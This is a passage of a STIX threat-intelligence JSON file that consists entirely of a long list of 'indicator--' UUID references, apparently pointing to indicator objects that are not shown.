        "indicator--63dbf403-3074-4382-b649-208cdc8aaab2",
        "indicator--e97ba191-ac11-451e-ad8c-6bddd63759bd",
        "indicator--f79cfe47-d3cc-45cd-a47a-c392a0a1e133",
        "indicator--7d56687f-fcd8-49ab-9237-9dce1d59e924",
        "indicator--86020fc7-8775-4177-919b-03073afac90e",
        "indicator--46a2ed47-6052-48bb-be2b-493db0fc4e5f",
        "indicator--557c80d5-dbdc-4e31-8665-c9ab5d24c30c",
        "indicator--45ccf302-9eb6-4a73-9643-36448148546f",
        "indicator--b2f0c957-600e-4fcd-8ad0-f4822371b975",
        "indicator--959a9cb7-96c8-4332-a20c-a77d600962da",
        "indicator--fdfd811c-98bd-45da-8521-78cb15af2e70",
        "indicator--08e75bc2-229f-45c3-9798-5e73b71ac64c",
        "indicator--fb2d7dd3-562c-43b0-8f93-114ba36dc478",
        "indicator--92a54510-cc34-4d2c-a151-feae91d32c4e",
        "indicator--0465a08c-d959-4b08-a287-b6d7baece127",
        "indicator--a11c1e8d-6a02-4fd6-8de6-7c7ce57e0af4",
        "indicator--f217f836-67cd-4571-8cb4-3716e5930880",
        "indicator--dc40de0e-e0e2-4e90-b1bd-03ce0787f77d",
        "indicator--46146546-cbe8-494a-9606-f29d311b14e4",
        "indicator--07fbce54-2293-4124-bff4-b9d8ef9c888f",
        "indicator--877cc022-4c9a-4476-be4a-1b17807fc536",
        "indicator--4aa6cf4c-27b2-4063-a53a-5aef37de787a",
        "indicator--5f2d59dd-6309-46e9-9aa1-bf26f72bd066",
        "indicator--0325ee31-574a-4ff7-8f22-295c505042eb",
        "indicator--7c4ca1cd-e55a-4dfd-b401-8b9f55612102",
        "indicator--6e85daae-18ef-4b01-aab0-4007c58fa161",
        "indicator--d1de4275-fa25-4bff-a718-97502f11a16d",
        "indicator--0ac47fc9-3613-4617-865c-29ff8b5428e9",
        "indicator--719367e2-a0e2-44d9-bc36-eaef04be074a",
        "indicator--e846f0ce-06a4-4d09-874a-a3319b48b879",
        "indicator--e5a0bbf1-e64a-4469-9821-9cedaa405240",
        "indicator--e447fbfb-b371-4162-b9f2-326ac0b1878a",
        "indicator--c1648b27-d721-4d98-8746-68dc0c3500a2",
        "indicator--354bfdb8-12c6-432b-83d0-7e01f5a98d5e",
        "indicator--8dd49cbf-e137-409b-8d08-0b0b25865f23",
        "indicator--9a992da8-0669-40c0-9ada-304d14552518",
        "indicator--3df0412a-95ca-4e1d-9cdb-50eb615baa8d",
        "indicator--7921e893-4c5b-4c47-86eb-7ab7ef052f2f",
        "indicator--adaec145-0f13-41a5-bfdf-c3055fa493e0",
        "indicator--c6c56b2a-6278-4811-949b-27f9dd08e9b7",
        "indicator--50eb5aa9-851e-44e4-a671-a2df66ecba94",
        "indicator--a7da7b1a-70ce-40a8-80a0-1da05461b71d",
        "indicator--6e7095e9-c504-4579-ace0-7834d9ac644b",
        "indicator--b7181184-f0f4-408b-a6ed-a02622dc9b98",
        "indicator--aece5767-0fd6-4155-bb40-a28fe6af2608",
        "indicator--a9326eef-bf0c-4946-a190-e1db8cac274e",
        "indicator--a7e0a8b6-6c2b-4118-aac3-d56b0488b20c",
        "indicator--f89432b8-14ba-4acf-8174-987ffc464100",
        "indicator--8047742d-0d93-4f65-a685-1f02ea86575e",
        "indicator--b19fe130-9604-42db-bbc2-a0e52fe80714",
        "indicator--9d2c1146-5410-4b02-b378-7052d135ece3",
        "indicator--62bac2fc-7879-41b0-8b03-89b5097ab5d6",
        "indicator--c64083aa-2079-499f-ad88-7d4ee6d31431",
        "indicator--7e2065b3-8bf5-49eb-bc9a-adc29070e66f",
        "indicator--381153b3-8756-4063-b821-0b1a90202f3d",
        "indicator--84ecc34b-dbad-4f05-8d92-0da9d9158292",
        "indicator--08f58a79-4a00-4269-b080-e5761b1a1feb",
        "indicator--195edf5f-cccc-414f-929c-3569ceff25b3",
        "indicator--40ef21e5-5f9a-4f3b-bedc-a6472b70c91d",
        "indicator--dc1c5095-fbc4-4da5-bb2a-e29cb23962a8",
        "indicator--e6881d09-44ef-40f0-be40-8ceb1a9372ad",
        "indicator--423c340c-371b-4623-9f98-17e521f8ddab",
        "indicator--11b5db1d-ff0a-4d29-bafe-b0df09d44ed2",
        "indicator--01455fbf-3b68-433f-871b-b74502b4ae96",
        "indicator--a0957295-ea8e-4b1a-b5a0-a4e4c9a3610f",
        "indicator--ab604ba2-ee46-4e60-9988-d1372bdfc887",
        "indicator--57191090-5546-4b6d-bab4-29dd9048a3df",
        "indicator--31614499-dbc8-4b84-9b3b-0ec883c50400",
        "indicator--e7341f72-0bf6-46c5-9a90-0da688b90e3d",
        "indicator--50d4ecde-25ec-4fd4-965d-54a0ee125ee2",
        "indicator--4abedfb0-e14f-424a-aa7c-bc8ca753827d",
        "indicator--df980c95-182f-4ddf-92eb-1df8e2808468",
        "indicator--72ed2717-d9ce-44e4-81b8-19adec81e499",
        "indicator--d05bfb9d-bfc4-4065-a742-515a48775f68",
        "indicator--86ccd1dd-3a6d-4c47-8752-684b8096137b",
        "indicator--bbcda256-dc46-406a-a234-9d2d3faa35b9",
        "indicator--a443f2ce-5f7d-4e8d-a1f6-0799c5e88f32",
        "indicator--fdc493de-5e5f-4e67-be90-b3adcf5bbc7d",
        "indicator--6edc8b3d-3e91-4b8e-8ee3-8028e53ee440",
        "indicator--70297e23-a5b0-4321-a29b-ab66ddd477b8",
        "indicator--56992b6e-3a85-4f32-9d43-cd2af2780494",
        "indicator--550dda77-e405-4b2d-9bec-e54cf7fca30d",
        "indicator--7353fdc7-33b4-4199-9df0-257425a77450",
        "indicator--9980644d-dc5a-4bac-94a5-0a0459b11d2e",
        "indicator--15255b05-3fcc-476d-a8e1-47ebc1064b47",
        "indicator--fd4d17f3-67b8-493e-97ba-5654f6a16b90",
        "indicator--58660a20-be48-4c69-8a5a-f28f1e658aec",
        "indicator--47de9b01-0ffe-4d87-83e9-13496c534a6f",
        "indicator--e734c3e6-862e-40ca-9d19-0bc51de9a08c",
        "indicator--39396935-0e14-42da-8916-a6f6a144f610",
        "indicator--780afb67-01d5-48a4-8d08-e8a36223ecf1",
        "indicator--3dc8438c-cd65-480b-bec1-39bdf4fa4bb6",
        "indicator--000ae2bf-c79b-4715-b7aa-a506f7501078",
        "indicator--59d95516-558a-46d5-ad8e-135e368a947e",
        "indicator--a43ed3ed-55ff-4407-b5d6-1f403f6f914f",
        "indicator--e29ace13-9264-4483-9097-a7dda4e246a2",
        "indicator--c1f65197-12f5-4e8b-8b3d-d2ad51d07359",
        "indicator--457239dc-2997-418f-a23a-a27c04c68076",
        "indicator--caa977bb-66b4-4fd3-87da-72b9534368f9",
        "indicator--e2a645d3-f896-4c1e-940e-ef816d36a1e5",
        "indicator--7577e7f3-8f9d-49e9-a989-af67de78df37",
        "indicator--9b560300-d2bc-46c8-8016-ca6439e9c57b",
        "indicator--a421ceac-3d1a-41fd-8bb5-e7a85bed5cbf",
        "indicator--144c9e78-db49-4b58-bc4d-494547409220",
        "indicator--35f3c285-7162-416c-9b76-6469db87a346",
        "indicator--bbb75032-6a91-454a-bdf7-03e73a0bff1f",
        "indicator--244c60b1-53bc-4f4a-a77a-bb4ba71b8597",
        "indicator--60cb51e0-597c-4b58-85ea-306e44562dc6",
        "indicator--be615e8f-0124-4be9-bc7b-ddda22194f9f",
        "indicator--bc13c9bd-1c41-4fc1-98fb-6853a9ca390e",
        "indicator--17b1284c-f040-4613-afcb-7ab21d9579aa",
        "indicator--bc10400c-a31a-4ff6-8028-a364651dfb9c",
        "indicator--c093e277-abf4-4d35-aed9-63defcfe6895",
        "indicator--b4937de7-9e05-47b5-919c-fef22ea7ea60",
        "indicator--bd9ec3ed-b696-4249-b5fd-e7f4a9034874",
        "indicator--000c089b-f943-4d68-a9f1-a16a60aab744",
        "indicator--cdec788d-e9fb-46cc-8dfc-5961cac49538",
        "indicator--07a58930-656b-4566-9ff4-59c78178f3ec",
        "indicator--76a52399-6e33-4135-a118-cbef787044ca",
        "indicator--5d1da02a-3e8c-4818-b69e-2b47e7571c66",
        "indicator--abc8b59b-0eec-4ccf-b636-e91ba591ecb7",
        "indicator--ef1205a5-e774-4c21-a906-aa8ccae9d356",
        "indicator--2c75e706-fa5f-4001-b1af-856f6417691e",
        "indicator--ada7bf02-041d-4f43-9561-3b95315f4fa7",
        "indicator--84b3faf5-8cc4-4c32-9800-d264ee2f9500",
        "indicator--d2a9b7d8-c22a-42e8-a155-99d0ed9dab29",
        "indicator--dee9d8ed-8fa2-44c8-9216-e874621ef35c",
        "indicator--700e834a-2c18-4767-8a2b-892373f7f345",
        "indicator--2559463f-38e5-4d7d-9cf0-6b369badafd9",
        "indicator--b810dc86-a247-411a-9504-94bc9c293fc4",
        "indicator--97ca5f47-e55c-43fd-a02f-888d7b64375b",
        "indicator--b3486e7d-146e-4cef-af8a-3a61e793ed1f",
        "indicator--13a44bb1-381e-450e-b9ae-cf0ccfb2f7fe",
        "indicator--a32af913-65e4-43bc-8d23-2304f0cdec3f",
        "indicator--cd800668-0a92-4ea7-9a41-753ed65d0ff9",
        "indicator--9ece2903-cffe-4b1d-925c-4d670427c7d8",
        "indicator--b66f61cf-0654-43c2-b3ad-449f795af908",
        "indicator--95760228-4341-40e3-be4c-b34aaa4fae3a",
        "indicator--33be3f0b-1866-4856-8ca9-1bf6263d0450",
        "indicator--fe256105-a8be-4734-ac89-56d29b476494",
        "indicator--b6067c22-cb5a-459c-9ff3-caa0018cadfe",
        "indicator--3bddacc6-5e6c-4f44-8b3f-9266b798a730",
        "indicator--471af03f-6720-4096-a648-dbb1f4560c12",
        "indicator--75f818f0-a5b2-4c16-a1d0-df44fc1509ea",
        "indicator--5e6595e4-7af2-4c2e-a4c4-d0bf4e60a7c4",
        "indicator--641b4c97-61dc-4a17-ad9c-b4fbcea3df81",
        "indicator--8e4726ec-9691-4bd6-a7b4-7b7534645eb8",
        "indicator--fa0ed349-90ec-4492-9b72-59804440d9e9",
        "indicator--d7a9fa4c-a302-4f1f-94c6-8ccb4d33a6b2",
        "indicator--2da53215-990c-4ca6-9acd-94a2ad385114",
        "indicator--bd3d8cb6-8ae7-479c-906a-88e42919091c",
        "indicator--9c090999-a6c5-469b-8d5e-94bb7aadabe5",
        "indicator--d9054119-41fa-4115-b342-eb74cb8c57b6",
        "indicator--a727ccab-e6ef-4ba7-8d4a-1753327168fb",
        "indicator--8fcbae18-55f3-475b-b14c-bdd5e161ced1",
        "indicator--60992cad-71b1-4607-a403-316bce431b8c",
        "indicator--118e8377-bd5d-4a14-ba12-f7c7d13ff21c",
        "indicator--41ff0305-43e3-4842-95bd-f9825a291b12",
        "indicator--1cb17686-4002-4ec1-96d4-1a6b7977943b",
        "indicator--e4eddad1-8df4-4482-8bd0-a367dbab2d4c",
        "indicator--013fcc2d-ec73-46bf-893c-fdd7705046e3",
        "indicator--7937adcc-7c47-42dc-be7d-b1bb31fb65bc",
        "indicator--c2184068-c6ef-42bb-91a6-23df06f6c047",
        "indicator--b202e77f-b509-4a9e-a5d8-ecc4ff90152c",
        "indicator--5a104829-ae9f-439b-93ab-64be4c977951",
        "indicator--79a3e75c-7894-4735-8356-d23147c3f9ab",
        "indicator--3313db43-ae0f-4e1f-9f48-b34e46be2411",
        "indicator--4c0a4259-0eb0-4e9f-8450-c146485d377b",
        "indicator--531f46cf-4793-45a1-8cfd-686bc2cdf8cf",
        "indicator--49ff0146-0b39-41c0-9498-6849c3b12906",
        "indicator--e2fa9bed-254a-4141-ac11-d25c56fd3b89",
        "indicator--fdedb7fb-f410-43b4-a1b0-05967bf2cf81",
        "indicator--3a285ebd-7153-4474-aa45-cd5a3997860e",
        "indicator--ed50e458-a0a4-4e90-a430-6d22daec7bfc",
        "indicator--9ca461ec-091c-4463-94b6-a81de2c51910",
        "indicator--f94e3c98-fe0a-4e7a-b014-ae42f52110c9",
        "indicator--a54f6823-4363-43af-a93b-600fe029d167",
        "indicator--67c25cff-f6e7-499b-9d1d-a5f24b35d488",
        "indicator--f093b942-80c6-49e0-8b91-2f10cd66ed45",
        "indicator--f35fe708-ccff-45b6-adc0-58eafb5ccb36",
        "indicator--90265a92-f455-4360-807a-2a341bdfea6f",
        "indicator--dfb00475-508f-4c9e-94a0-83f6f126d53b",
        "indicator--8bcb251c-225a-47ca-b0d4-082fbbaba04b",
        "indicator--66017db8-4039-41e0-b7a3-c27ed0bb0d89",
        "indicator--d4ce4c86-487f-4d16-8a59-de2fd5e7a85c",
        "indicator--e6c5068b-98da-4f70-a8d8-241adc941bd4",
        "indicator--ef6d2e21-8add-47cc-9462-38d86ae9af3f",
        "indicator--5f9ae07a-8bcd-465d-8e9e-8d704b4adfe9",
        "indicator--837cb13b-472a-42aa-8a86-042a4d87fb25",
        "indicator--102ba5b0-4d2a-4e89-83d2-a4a3c71bf1d5",
        "indicator--9514a909-c0be-4671-acb7-f0db7439a184",
        "indicator--68fd6af7-3e02-40e5-9e42-63a0448e8c85",
        "indicator--a5a19b7c-7b49-405a-8505-741064783985",
        "indicator--4be9893c-ff2f-4a2d-8e4d-8549e821930d",
        "indicator--a1c7bf7f-af0f-447d-b75e-e7a4dba40ff1",
        "indicator--a42c74fe-4319-4b9e-9b77-07e0ae983445",
        "indicator--23ab7701-bb07-487e-9a47-b4db3bf90a29",
        "indicator--b96985f8-c274-4d8c-853f-f5fdefcb2693",
        "indicator--7a0cf02b-6041-4bc9-a25b-cd083e275760",
        "indicator--0f7fdf1e-90b2-4492-b2d0-c71af50d8752",
        "indicator--6478d7cb-6927-41c9-bd44-5072052c3ddb",
        "indicator--aef2a984-5371-4874-87ee-19b9062e005c",
        "indicator--aec01adb-cd05-4702-a20b-b53fd9b49413",
        "indicator--9c936ead-5f5b-4243-8e59-43b128148cba",
        "indicator--fb295eb7-ae04-41af-a708-6fab4cfadbbb",
        "indicator--73f7f218-26b0-4762-a303-184f517ed3b0",
        "indicator--0f1b4939-7beb-435b-8988-d6375076eb02",
        "indicator--59a58ee4-c9d8-4b35-8995-8cee1ac7338f",
        "indicator--bb62106b-0afe-4542-94aa-c5c9d4e6a396",
        "indicator--590eee38-594b-48fb-9897-194d05a0a782",
        "indicator--c645052e-51a6-44dc-85dd-cee7bd6c1820",
        "indicator--24495265-c15c-452d-9854-5d4a4a3c4db9",
        "indicator--ade465b2-4b33-4f96-ba84-7a491a769b8a",
        "indicator--369d2f00-8e5a-4b89-aa66-db9328941364",
        "indicator--b6c19b5c-2cfc-43e6-b9ae-7149e0e89c35",
        "indicator--74d69d76-7796-49b6-b510-4f820867d383",
        "indicator--c5e93eff-5c46-4e81-b6a9-956d62e5b83c",
        "indicator--54ecc5a1-5cf7-41bf-99ff-bff3e219be8c",
        "indicator--a4783fb3-c137-4404-82bd-bd67c6780023",
        "indicator--9b6c98d9-239a-4da0-8905-54426d852995",
        "indicator--5a0101d3-4e2f-4303-9ab8-3f0b597bddf6",
        "indicator--e65cf1e6-ba83-40ad-aafd-b13dad8bbceb",
        "indicator--3ffb4d40-d4c7-4196-bf6a-49e299eefe8f",
        "indicator--de924ffa-092e-4fae-9683-31e1f2a789ff",
        "indicator--b696d3ff-734f-4370-8c94-5b493009a581",
        "indicator--57f8f3fe-0d1d-448c-a806-db82d076db25",
        "indicator--324f28da-34ae-452d-b834-123bbcb7cda0",
        "indicator--e32d12aa-c8a4-4537-b543-7c404232d36d",
        "indicator--0bd93239-b34e-47a0-80ce-411c4d9146ed",
        "indicator--65182609-536c-4c8d-a45a-4786ca449531",
        "indicator--b8fe7fd1-f914-4b8d-8149-a70d84ac8321",
        "indicator--02a9fe78-1377-4498-aa4d-7ce4315e6053",
        "indicator--4e95e6ef-b794-4afb-8101-044ad3ed617c",
        "indicator--be071703-683d-47ca-95b1-c1c300a940d1",
        "indicator--e7079ce2-6965-4370-b216-6923ce899deb",
        "indicator--80bff7c6-39f7-4578-b938-64deec9452dc",
        "indicator--05d2696e-b8d7-4531-b8a4-7098ea3d61b8",
        "indicator--888a5047-2f1f-460d-a516-ca9f167812cd",
        "indicator--46df56a8-fc00-476f-abed-944e682dce4e",
        "indicator--c13ba10e-4ae1-49d6-b2b9-893ce47210d6",
        "indicator--0415bf5b-5a28-4637-abf4-70164f9644d2",
        "indicator--95605cf4-e496-409d-812f-add45ea7c428",
        "indicator--08b65abb-fa06-40ac-b96a-86279b653d39",
        "indicator--21d5386c-82c4-4848-b48e-3204caccfc9a",
        "indicator--4f9af404-9394-44c1-8228-31845f90b9bf",
        "indicator--5088fe70-40b1-4620-afef-25c8ffc165c3",
        "indicator--df319a51-96d0-45f4-b6a0-b8ff98bbd2a1",
        "indicator--5431541c-d9dc-4d07-9593-daa801e724a2",
        "indicator--5206fca9-4d38-440d-a4fa-cf483fab2f8d",
        "indicator--9202506d-41b4-40fd-a1c1-4826b4035d45",
        "indicator--ca7edaaa-a52b-4111-8895-a3aa80442f0c",
        "indicator--ad29f677-6883-4887-871a-6aa55666bd86",
        "indicator--45203e9e-1d06-4132-aaeb-153118d66083",
        "indicator--681e75f8-f5bb-49f3-9e1c-7b82a09faa91",
        "indicator--af16145e-86c9-4fd0-bf81-9610c42f0556",
        "indicator--8ee0b365-5aa2-4058-b277-76f9f26e0b1c",
        "indicator--8bca9b7a-8634-4a93-8a48-bee3ad3b459c",
        "indicator--e299b081-f3ad-4150-a9a5-96d1cdbdf7db",
        "indicator--ee177c33-da3b-49a0-91c5-2a47a2144064",
        "indicator--4aa8a4cb-a96b-440b-b063-e099474146c9",
        "indicator--e08e27db-9fdd-419d-82c1-89a7a69b5399",
        "indicator--a6daae1f-012b-427f-9ca5-c8912c2a4a24",
        "indicator--02f764d8-101d-48c1-aa01-d57f1a2f7bca",
        "indicator--826426ae-0793-4940-bddb-1e00da679e4f",
        "indicator--0bf85ba1-f5b0-447e-995d-3e4105fbad43",
        "indicator--4cf88951-7477-4638-afda-851edcdacc9a",
        "indicator--0d5fadba-364f-4dc8-bb64-c144f7b85511",
        "indicator--ac3b4f11-49ed-4e0e-9442-15dd8db2726f",
        "indicator--ca6d3504-315d-4e87-905a-c91a235c0d32",
        "indicator--1a47c3f0-9b6d-4059-aff9-31e5bd4f67dd",
        "indicator--b428dd04-bde7-45f7-8f32-85b4f3d6fa18",
        "indicator--1ee6c651-5f66-4bab-82f2-86f918bbb07d",
        "indicator--f60112db-d9b5-457c-a20f-3626a6a4a163",
        "indicator--3b9ff70d-8223-4769-9aae-16f2e6f66385",
        "indicator--8e87ceb0-3943-4ae3-aa9c-65328d99605e",
        "indicator--0cca83f8-77c9-49f0-94c1-30e62285c895",
        "indicator--60b48ba7-452a-419d-944e-6fad38919019",
        "indicator--e7c30d5b-f2c3-4844-b639-939b11e3fd27",
        "indicator--20fdcd5b-8c3b-4895-8230-00e06d6ba4bb",
        "indicator--f6e44432-b0eb-4dcb-8d65-f203d3b6654a",
        "indicator--820e4aad-5097-4cdc-b297-20f7a2f29aad",
        "indicator--61f367c3-3199-40c9-a1a3-d60c4962ec23",
        "indicator--4ac07d16-4d44-439c-9e0d-55ea86930ca7",
        "indicator--45aaad45-2ec0-44e2-a14e-a372013a2a74",
        "indicator--7569064b-14ff-41c3-a91a-e5885592094e",
        "indicator--17d89b70-a4cc-4bce-b2aa-72d77331c12f",
        "indicator--c7867dfe-ebe8-47c7-b03f-3e7e84b76702",
        "indicator--cb4f1638-6b37-4d10-92bf-f783a6697636",
        "indicator--2488109a-a549-45e3-b1fb-8dd69a325d1d",
        "indicator--4d2cc9a7-325f-42a6-8e1e-3b71bf9c89fc",
        "indicator--8146080c-8231-4c9c-9945-88212365ba33",
        "indicator--63abe6ec-dc41-4b37-8d99-9f708c5e0114",
        "indicator--34feaa23-2d28-4f54-b4f8-089fda23c55c",
        "indicator--e6a3bcdb-c493-401e-a74d-ce68ea61b416",
        "indicator--91327821-1035-439a-ab7f-9b8d887e0d6f",
        "indicator--2de549bd-86c4-4d74-8469-75bd69e1ae25",
        "indicator--6048c081-055f-489a-8507-4512794ed701",
        "indicator--0b80916a-d5f3-4c83-bb64-0beb5ec6206d",
        "indicator--5c860d12-d5ac-4eb3-a47a-9d34bb7f9c76",
        "indicator--805b270d-49f6-4e7d-b69d-7563ef749bf7",
        "indicator--0656cf16-dde2-4abe-8600-6698f4df556f",
        "indicator--a2916cc1-e088-4a3d-b406-74373c251a72",
        "indicator--ae81962a-0a0d-4ba0-8645-110f90dce683",
        "indicator--3fcba79d-7390-41a3-9836-19b40bcb5068",
        "indicator--31602bf7-b7ca-4153-914a-7925963e2ee4",
        "indicator--0573dac1-2730-4e14-bc3b-fd68fe6274a1",
        "indicator--4e7d9023-75ba-4575-98f5-66377979adae",
        "indicator--bac56965-bd30-428b-bf7c-ea87f4f293e1",
        "indicator--c982a6be-6958-458f-8944-f25334071505",
        "indicator--b44a2422-d241-40f4-ba85-b8f59cbdd37f",
        "indicator--4c6b9f3d-e99b-4394-b3a2-d1736e5aa418",
        "indicator--9dd6441c-e97c-46fc-9664-2f110b3c426f",
        "indicator--1a2edf45-e9aa-4e8e-bb9e-85844cc32c7f",
        "indicator--d6d8a99a-7568-4596-87ed-fdc4e860b52a",
        "indicator--42a05dd6-e2e8-4251-933d-59a069e470ec",
        "indicator--bce34d88-1b4f-4207-bacd-a48ceef3d6ff",
        "indicator--51b7c2e3-7bd0-4316-a2c9-1876bf632b67",
        "indicator--51e9c7db-7b4b-45b0-bb82-6b09c5a8a6d4",
        "indicator--fe7512b6-c032-4614-8b55-63bb94e7bc0d",
        "indicator--564fdc5d-7c0d-4b75-ac29-96447323c239",
        "indicator--d43a0110-5570-4243-922d-f9b89cb3d577",
        "indicator--166d17c7-a076-40ac-838f-b5fcc527c93c",
        "indicator--9af4bd94-7512-4b74-9052-4c74c0fe1d8b",
        "indicator--aeb6dfd7-97d3-4a66-95d4-4965015af0cf",
        "indicator--d3c96059-08b5-4349-bd8b-3e998ce064ae",
        "indicator--e806a055-2aa3-43c9-97c4-8ce8a1328e37",
        "indicator--e3ec8667-8940-482e-bcd4-03621e72d10b",
        "indicator--bc9a4142-ef4e-4efc-b04f-a49ad7159a3e",
        "indicator--4d22d84e-9fa0-47f8-89e2-7f051219504d",
        "indicator--da0c8850-a4b3-4254-bcf6-b62d1b08c769",
        "indicator--18cdd615-f84f-4b13-bd52-c27eebec34a8",
        "indicator--7876cd51-7f7a-4b07-adb3-dc328aa3b523",
        "indicator--728f2178-722e-4857-b305-c04beabb0687",
        "indicator--2a4ec688-be93-4a45-aec7-15140aa3a3f0",
        "indicator--d1e65643-a655-4ca1-ba10-fd0eb43a143b",
        "indicator--c2f03b61-f3a5-4918-b28a-6292ebc32f9b",
        "indicator--542403d2-0eb4-4ef1-bda5-ca908b52e77c",
        "indicator--39278a53-a6c6-4eaa-8ab1-8016e4513bad",
        "indicator--029b4921-5c23-4e10-9d98-d973e923af3e",
        "indicator--567e6424-f8b1-430d-8116-dbe0dc78795a",
        "indicator--c835744a-b1d9-4baf-9af7-50a4e6caee6e",
        "indicator--7b521c77-177d-452b-a3a9-6551c1e53fd3",
        "indicator--dee71225-569a-48d1-8cd7-636420ff3ccf",
        "indicator--acc24416-b496-4e1d-a1dd-4e73885884dd",
        "indicator--b6c40fde-4d1c-4a1d-a5ec-44c5be0769ef",
        "indicator--3f29ced9-37b5-47c6-a139-9ed56d3bda2c",
        "indicator--ca812474-0210-4ce5-8491-65a8b48649fe",
        "indicator--4d05b252-1886-4fe2-a0e3-fe7df48cd08c",
        "indicator--d95162ac-cbbe-494f-93a6-5236bb237d34",
        "indicator--777bb2e2-859a-44b3-bcad-f0a9a70b8ed5",
        "indicator--501fe3db-e61e-41eb-9501-cba08e6957b9",
        "indicator--91a9c423-927d-46c6-b746-5731df1375be",
        "indicator--801bea5f-58ee-492e-a82a-bbfdd973810d",
        "indicator--f878f247-b66d-459d-a0a7-bd5f0a6baea1",
        "indicator--73b67d0c-0567-4f99-aaad-9b558dc0ae01",
        "indicator--8879f483-e7c9-4b0d-8168-ece18627b331",
        "indicator--0ddaa3df-fbe2-4a82-9afa-51e7196d5cff",
        "indicator--01e9ae45-f7af-4791-8215-08c08a594f14",
        "indicator--049f13dd-07b1-467a-9f0b-ab3741563dc4",
        "indicator--3cdc9614-37b2-428c-be03-ed257dfb72ff",
        "indicator--73634f62-64f0-409e-9de2-6827368f66db",
        "indicator--d631a34c-c809-4ffb-812c-169d3b424d67",
        "indicator--1e9583e7-9fc5-404c-a1ee-c347bbb8de6f",
        "indicator--540f19dd-99c6-4360-89e5-258985bf6688",
        "indicator--f3d1a0ab-a708-444e-959e-f9c0ae93df5a",
        "indicator--dc3ba836-dbc2-4271-9f39-16e924ebd816",
        "indicator--eeb5fb94-0639-455b-8dd0-4d50d65e967d",
        "indicator--e29076c6-cc12-4802-b0fc-714238684fd8",
        "indicator--ab97541b-ecf3-4d90-9cec-89091c4c41e1",
        "indicator--6b0d5ef1-c30f-41bb-83ca-3e15bfc24f6c",
        "indicator--79d4cc36-3e9f-41e8-9a0f-2c94aba48e48",
        "indicator--c52ed071-a139-4c3d-b2d3-2e5b3f0c510b",
        "indicator--928fc48e-1bb3-4c00-93bd-ad63ac9c9d22",
        "indicator--c6daf10b-18cb-437e-8bf1-1c3c7f785cb5",
        "indicator--f0c1d63c-aa3f-4bca-b37d-e16453a4da87",
        "indicator--e2ac1fc2-d2cd-4b09-a09d-5a34f0aaf472",
        "indicator--18c1d702-5c7a-43db-9463-8b4558804c94",
        "indicator--2b4596bd-f977-4716-9ea7-b308ec247257",
        "indicator--b6b8de88-22a4-40ed-8ae7-e77caf6f8683",
        "indicator--6f5fdb35-ec76-492c-84f0-b33964feef9b",
        "indicator--dea89b7c-9934-47f5-9b12-fbdae43eddf7",
        "indicator--e387a92a-8b5d-4a3e-ba72-b5b8d91f6667",
        "indicator--9c4a693c-3333-440e-a562-c99e66c01423",
        "indicator--7ea83c7b-8f7f-4ed3-867c-48fe3578571c",
        "indicator--58b48080-9b27-4ff5-832c-0acbe6fb2b1c",
        "indicator--ddedb625-adff-4f76-b62c-2ad01aacba3a",
        "indicator--6af900c1-4fc0-489b-88c4-3cb38f976e3b",
        "indicator--bc9a4cb2-b51d-48d3-9aad-afbc95814a6b",
        "indicator--08f9a4d1-9337-4e9f-a52c-dea2825c187b",
        "indicator--8dbac943-1b72-433d-95de-6e8f422f1a5a",
        "indicator--9e625127-996a-422f-9121-15a4f78742fb",
        "indicator--27c376e0-f592-42e5-b461-28498733e453",
        "indicator--bc15c6e7-7196-4680-b7db-e3b76e20d19a",
        "indicator--04cfd27b-d1ff-4d12-87dc-f1dcaf53e159",
        "indicator--0f4326f7-1c17-443f-b169-efb76680da84",
        "indicator--842202d8-9b14-4b10-a65d-2ac22ebdbff9",
        "indicator--06738ba6-c3e1-45cf-890b-ce96f8302271",
        "indicator--12c49a5e-66cf-4198-a583-a5de58faa759",
        "indicator--882fdb0e-3f52-4b0f-83ef-d2797724dc03",
        "indicator--54e6df7d-cd69-46f1-bf2f-96312ffe5d30",
        "indicator--0f46e5a0-8844-47fa-9950-40b88f13cf43",
        "indicator--630c1b81-079e-4d6b-be9d-78c117558de9",
        "indicator--570dbd1a-8fb7-4890-ad93-02d40452df28",
        "indicator--ccedeb4f-b864-42a1-8c88-250b75410dd5",
        "indicator--dd9626e1-05b8-4430-878c-f4b988bd4a53",
        "indicator--cf9c3b51-1929-4be1-850c-73b448fc0aaf",
        "indicator--dc92f330-4feb-4bae-9589-32e1454abdaf",
        "indicator--47685193-acb5-4ec4-a049-ff084226462d",
        "indicator--0fcc1f03-d926-4fa2-a0c9-d1f3f6b87617",
        "indicator--b5aa5c67-27cf-4708-bcfa-1e70ba5059c5",
        "indicator--0c56d5c4-2059-4ba4-a0a0-af3e2770f17b",
        "indicator--f65a2585-995f-4383-a745-2b5b4b294aac",
        "indicator--bf7a4149-5dc8-4c15-9260-44b8b43d3c64",
        "indicator--0399b25d-21da-4516-a1b1-5945d827fb43",
        "indicator--81482570-8027-4f7f-a765-ac01b665db53",
        "indicator--f83d038b-fe2d-4605-a6a8-44eb457615e6",
        "indicator--e56c280e-61c5-485d-ac5b-dfa5d0b0d34f",
        "indicator--4942937c-12ed-46df-b0ef-1716458403db",
        "indicator--16857f90-4b2b-46d2-8bd2-f89c63e2e097",
        "indicator--1ec24313-4a10-4f29-a79f-b8a658c2d5ec",
        "indicator--85d8e66d-fae4-4133-9f15-df67668cce39",
        "indicator--6966cb33-49cb-49e7-9e05-f22c8a823dea",
        "indicator--876788bf-c9f2-42a4-9b70-6d19250faa9b",
        "indicator--be693249-f484-478d-93cf-99aaf843130b",
        "indicator--bd579c42-2e22-4d01-9baf-46ff83f8530a",
        "indicator--196b7fb4-9a2d-437c-a967-5ecd6f77732e",
        "indicator--97befc22-1b54-4554-abd5-a50be97e7f3f",
        "indicator--f46084ec-76e2-4a4b-a2e6-d5986f9f6ecd",
        "indicator--8fe4a57a-6d3f-4b2f-910a-c78a2d5e6bd1",
        "indicator--b85cb319-297c-449e-9588-25748f018921",
        "indicator--f887154d-97cc-44cc-9c06-e04286925054",
        "indicator--519f68d7-dc52-4685-9316-c528ef2936f6",
        "indicator--9567f2f1-f4a4-41f6-9608-015cd95ec095",
        "indicator--a22c2afa-8b8d-4e84-9612-912d9003a4da",
        "indicator--9bab0b27-6e7c-40c0-a776-92c1628fffc8",
        "indicator--d54c49d5-405d-46b9-9b50-0ee7c420e1a6",
        "indicator--ebb72d78-f226-4df1-9773-02d0b08a4935",
        "indicator--a87ba43f-b424-46df-9181-79761bb42de7",
        "indicator--9b5e70f8-bf1e-4593-be6a-8c1d4f14e6e9",
        "indicator--d2b07191-40bc-4e38-86d8-bc3f09daf814",
        "indicator--01a291fa-ff77-4a7c-8fae-976e510b37b5",
